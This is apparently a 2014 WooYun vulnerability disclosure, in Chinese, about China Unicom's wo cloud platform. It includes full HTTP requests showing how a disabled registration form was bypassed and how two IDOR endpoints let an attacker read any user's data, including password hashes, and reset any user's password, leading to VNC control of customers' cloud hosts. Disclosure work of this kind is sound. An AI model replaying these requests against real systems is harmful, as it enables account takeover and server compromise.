中国联通某服务配置不当上千台服务器可被控制

漏洞详情

披露状态:

2014-02-10: 细节已通知厂商并且等待厂商处理中
2014-02-15: 厂商已经确认,细节仅向厂商公开
2014-02-25: 细节向核心白帽子及相关领域专家公开
2014-03-07: 细节向普通白帽子公开
2014-03-17: 细节向实习白帽子公开
2014-03-27: 细节向公众公开

简要描述:

中国联通某服务配置不当 上千台服务器可被控制,几十G的带宽,几百G的内存,几千G的存储岌岌可危。

详细说明:

上次找了个电信云平台的漏洞 http://wooyun.org/bugs/wooyun-2014-049646 这回我们来个联通的。



http://www.wocloud.cn/

我们打开联通 wo 云平台,注册一个新的账户。咦停止注册了? 我们按 F12 打开 Chrome 的调试工具。

01.jpg

可以看到,注册的按钮只是加了个 disable 属性禁用了,我们把这个属性去掉,就可以成功提交表单注册了。

02.jpg



我们登录注册好的帐号,进入个人中心的修改密码处 http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd

通过抓包,我们发现了两处漏洞:

1.读取任意账户信息,包括登录密码

我们使用Burp抓包,

03.jpg



POST /portal/pr/client?p=/user/describeUsersInfo HTTP/1.1
Host: www.wocloud.cn
Proxy-Connection: keep-alive
Content-Length: 6
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.wocloud.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=7A2764D84984D3E634A6B3E45FC7BD2A

id=598



(此处post的数据"id"为用户编号)

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 10 Feb 2014 04:38:11 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 436
Connection: keep-alive

{"data":[{"name":"crtest","id":598,"state":4,"comment":null,"password":"ece42545aeef94653dd1b04571e993a2","position":null,"token":null,"email":"crtest@yopmail.com","account":"crtest","phone":"","mobile":"13599052222","compId":0,"roleId":1,"checkCode":"","compOrgCode":null,"compAddress":null,"compPhone":null,"compFax":null,"compEmail":null,"postCode":null,"deptId":1,"approve":0,"fax":null,"compName":null}],"code":"0","msg":"success"}



可以看到,返回的数据中包括md5加密过的密码(crtest01),用户注册时的邮箱、手机号、姓名以及公司信息等。经测试可知,共有600多位用户。通过修改id,我们可以轻易得到任意用户的帐号、密码等隐私信息。

04.jpg



2.平行权限修改任意账户密码

我们使用Burp抓包,

POST /portal/pr/client?p=/user/modifyUser HTTP/1.1
Host: www.wocloud.cn
Proxy-Connection: keep-alive
Content-Length: 24
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.wocloud.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=7A2764D84984D3E634A6B3E45FC7BD2A

id=598&password=crtest01



此处id对应待修改的用户的id。password则为新密码。

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 10 Feb 2014 04:48:21 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 76
Connection: keep-alive

{"data":{"data":null,"code":"0","msg":"success"},"code":"0","msg":"success"}



经测试可知,通过修改此处的id,我们可以轻易修改任意账户的登录密码。

这里我们将id为1的帐号密码修改为wooyun进行测试。

05.jpg



通过第一个漏洞,我们可以得到id为1的用户的登录名为china_unicom1212,我们使用新密码wooyun可以成功登录。

06.jpg

07.jpg



我们对id从1到8的账户进行了测试。可以发现由于云主机的控制面板提供了无需密码的VNC控制,且大部分用户的云主机没有修改默认密码

08.jpg

,导致可以直接控制云主机,相当于直接获得云主机的最高级shell。

漏洞证明:

经估算,每个账户上平均有2台云主机、50G的系统盘+40G的弹性块存储(云主机附加的硬盘)、2个公网IP、20M独享带宽。600个账户的总量是惊人的,倘若被利用进行恶意DDoS攻击、挂流量矿石、搭建非法站点等,后果十分严重,这里不再赘述。

修复方案:

你们更专业。



(不知道有没有什么礼物相送呢?)

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-02-15 09:45

厂商回复:

最新状态:

暂无


漏洞评价: